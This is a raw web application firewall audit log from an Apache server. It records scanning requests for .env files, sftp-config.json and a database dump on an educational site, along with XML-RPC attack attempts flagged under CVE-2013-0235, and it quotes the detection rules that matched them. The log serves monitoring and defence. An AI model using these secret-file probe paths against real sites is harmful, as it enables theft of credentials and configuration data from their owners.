proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750016979875264 766674 (- - -) Stopwatch2: 1750016979875264 766674; combined=1950, p1=380, p2=1443, p3=0, p4=0, p5=127, sr=89, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --2b03ae6d-Z-- --d0935514-A-- [16/Jun/2025:01:19:44.586587 +0530] aE8j1z6fDirgE_qJvgHMKQAAAAA 185.177.72.210 58356 127.0.0.1 7081 --d0935514-B-- GET /umgebung/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --d0935514-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=8fcfcf4367ba3320b81e1729931379b11750016984; expires=Sun, 15 Jun 2025 20:49:44 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --d0935514-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/umgebung/.env"] [unique_id "aE8j1z6fDirgE_qJvgHMKQAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750016983919028 667622 (- - -) Stopwatch2: 1750016983919028 667622; combined=1861, p1=421, p2=1352, p3=0, p4=0, p5=88, sr=130, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --d0935514-Z-- --184b4627-A-- [16/Jun/2025:01:19:50.757291 +0530] aE8j3jwutQMQaeKIpO_OsQAAAAg 185.177.72.210 55506 127.0.0.1 7081 --184b4627-B-- GET /:8008/.env_1 HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --184b4627-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=895ef24efedeffb12b2006a28f74d4041750016990; expires=Sun, 15 Jun 2025 20:49:50 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --184b4627-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8008/.env_1"] [unique_id "aE8j3jwutQMQaeKIpO_OsQAAAAg"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750016990081287 676092 (- - -) Stopwatch2: 1750016990081287 676092; combined=2465, p1=506, p2=1858, p3=0, p4=0, p5=100, sr=125, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --184b4627-Z-- --f31ccf04-A-- [16/Jun/2025:01:20:00.592903 +0530] aE8j512YlG5AqHgt0_Kl3wAAAAQ 185.177.72.210 37214 127.0.0.1 7081 --f31ccf04-B-- GET /docker-compose/platform/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --f31ccf04-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=7cc4a653edee6950abd15b886ee403c71750017000; expires=Sun, 15 Jun 2025 20:50:00 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --f31ccf04-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/docker-compose/platform/.env"] [unique_id "aE8j512YlG5AqHgt0_Kl3wAAAAQ"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750016999942981 649990 (- - -) Stopwatch2: 1750016999942981 649990; combined=1735, p1=477, p2=1162, p3=0, p4=0, p5=95, sr=123, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --f31ccf04-Z-- --0e686b62-A-- [16/Jun/2025:01:20:01.625571 +0530] aE8j6D3D4g1mGjVnV5KJFwAAAAY 185.177.72.210 37272 127.0.0.1 7081 --0e686b62-B-- GET /:8181/local/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --0e686b62-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=5b35fb279cfad831d06bed8eb8a31a141750017001; expires=Sun, 15 Jun 2025 20:50:01 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --0e686b62-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8181/local/.env"] [unique_id "aE8j6D3D4g1mGjVnV5KJFwAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750017000920615 705059 (- - -) Stopwatch2: 1750017000920615 705059; combined=1938, p1=429, p2=1391, p3=0, p4=0, p5=118, sr=118, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --0e686b62-Z-- --2896ce0f-A-- [16/Jun/2025:01:20:34.301576 +0530] aE8kCT6fDirgE_qJvgHMPAAAAAA 128.199.112.101 49702 127.0.0.1 7081 --2896ce0f-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 492 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --2896ce0f-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --2896ce0f-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE8kCT6fDirgE_qJvgHMPAAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750017033386296 915335 (- - -) Stopwatch2: 1750017033386296 915335; combined=2089, p1=344, p2=1372, p3=41, p4=70, p5=164, sr=92, sw=98, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --2896ce0f-Z-- --bdcf8559-A-- [16/Jun/2025:01:21:06.879036 +0530] aE8kKj3D4g1mGjVnV5KJNwAAAAY 185.177.72.210 43190 127.0.0.1 7081 --bdcf8559-B-- GET /sftp-config.json HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --bdcf8559-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=42ab659470766824fd57bd6a17a0d6321750017066; expires=Sun, 15 Jun 2025 20:51:06 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --bdcf8559-H-- Message: Warning. Matched phrase "/sftp-config.json" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/sftp-config.json" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/sftp-config.json"] [unique_id "aE8kKj3D4g1mGjVnV5KJNwAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750017066171533 707589 (- - -) Stopwatch2: 1750017066171533 707589; combined=1898, p1=370, p2=1418, p3=0, p4=0, p5=110, sr=88, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --bdcf8559-Z-- --ee821f3f-A-- [16/Jun/2025:01:21:08.796879 +0530] aE8kLIfvqn7_SDWw_wX4lgAAAAc 185.177.72.210 43266 127.0.0.1 7081 --ee821f3f-B-- GET /.nuget/packages.config HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --ee821f3f-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=b4774fc222218c11477a8e0ccf5138ec1750017068; expires=Sun, 15 Jun 2025 20:51:08 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --ee821f3f-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".config"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".config"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/.nuget/packages.config"] [unique_id "aE8kLIfvqn7_SDWw_wX4lgAAAAc"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750017068122965 673977 (- - -) Stopwatch2: 1750017068122965 673977; combined=1931, p1=324, p2=1516, p3=0, p4=0, p5=90, sr=95, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --ee821f3f-Z-- --a5dd5335-A-- [16/Jun/2025:01:21:09.807431 +0530] aE8kLbGjXXuxVCJENBCrhgAAAAk 185.177.72.210 43336 127.0.0.1 7081 --a5dd5335-B-- GET /micro-app-react/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --a5dd5335-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=39bac4edca1dba1bb806e36ac5b98f441750017069; expires=Sun, 15 Jun 2025 20:51:09 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --a5dd5335-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/micro-app-react/.env"] [unique_id "aE8kLbGjXXuxVCJENBCrhgAAAAk"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750017069127198 680308 (- - -) Stopwatch2: 1750017069127198 680308; combined=1836, p1=361, p2=1391, p3=0, p4=0, p5=83, sr=77, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --a5dd5335-Z-- --368eec06-A-- [16/Jun/2025:01:21:33.948878 +0530] aE8kRSCwfN5GtQhYhHBGygAAAAw 128.199.112.101 49760 127.0.0.1 7081 --368eec06-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 501 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --368eec06-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --368eec06-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE8kRSCwfN5GtQhYhHBGygAAAAw"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750017093024130 924805 (- - -) Stopwatch2: 1750017093024130 924805; combined=2383, p1=370, p2=1499, p3=41, p4=138, p5=215, sr=118, sw=120, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --368eec06-Z-- --18a3d62e-A-- [16/Jun/2025:01:22:06.006369 +0530] aE8kZYfvqn7_SDWw_wX4rgAAAAc 185.177.72.210 35758 127.0.0.1 7081 --18a3d62e-B-- GET /test/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --18a3d62e-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=53d7e95084ca9869db0bbe7e4d86ebdf1750017125; expires=Sun, 15 Jun 2025 20:52:05 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --18a3d62e-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/test/.env"] [unique_id "aE8kZYfvqn7_SDWw_wX4rgAAAAc"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750017125225951 780518 (- - -) Stopwatch2: 1750017125225951 780518; combined=2427, p1=458, p2=1824, p3=0, p4=0, p5=145, sr=110, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --18a3d62e-Z-- --3674d72a-A-- [16/Jun/2025:01:22:09.136287 +0530] aE8kaDwutQMQaeKIpO_O9wAAAAg 185.177.72.210 36430 127.0.0.1 7081 --3674d72a-B-- GET /:8443/.c9/metadata/environnement/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --3674d72a-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=1fa07ebaa062d7ce3d8c3c010fded6fa1750017128; expires=Sun, 15 Jun 2025 20:52:08 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --3674d72a-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8443/.c9/metadata/environnement/.env"] [unique_id "aE8kaDwutQMQaeKIpO_O9wAAAAg"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750017128453364 682986 (- - -) Stopwatch2: 1750017128453364 682986; combined=1946, p1=368, p2=1488, p3=0, p4=0, p5=90, sr=87, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --3674d72a-Z-- --571a5065-A-- [16/Jun/2025:01:22:19.771414 +0530] aE8kczwutQMQaeKIpO_O_QAAAAg 185.177.72.210 44740 127.0.0.1 7081 --571a5065-B-- GET /test/bdd/fixtures/demo/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --571a5065-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=a250094d115a33e85a5d5930c83ff8101750017139; expires=Sun, 15 Jun 2025 20:52:19 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --571a5065-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/test/bdd/fixtures/demo/.env"] [unique_id "aE8kczwutQMQaeKIpO_O_QAAAAg"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750017139121028 650480 (- - -) Stopwatch2: 1750017139121028 650480; combined=1925, p1=365, p2=1439, p3=0, p4=0, p5=120, sr=90, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --571a5065-Z-- --0111f52f-A-- [16/Jun/2025:01:22:23.555805 +0530] aE8kdofvqn7_SDWw_wX4vgAAAAc 185.177.72.210 60086 127.0.0.1 7081 --0111f52f-B-- GET /:8880/.env.development HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --0111f52f-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=15ebced324de6c0bf4718eae624715d91750017143; expires=Sun, 15 Jun 2025 20:52:23 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --0111f52f-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8880/.env.development"] [unique_id "aE8kdofvqn7_SDWw_wX4vgAAAAc"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750017142904862 651006 (- - -) Stopwatch2: 1750017142904862 651006; combined=1693, p1=343, p2=1258, p3=0, p4=0, p5=92, sr=83, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --0111f52f-Z-- --aba5bc39-A-- [16/Jun/2025:01:22:34.313683 +0530] aE8kgT3D4g1mGjVnV5KJYAAAAAY 185.177.72.210 47154 127.0.0.1 7081 --aba5bc39-B-- GET /dbase.sql HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --aba5bc39-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: 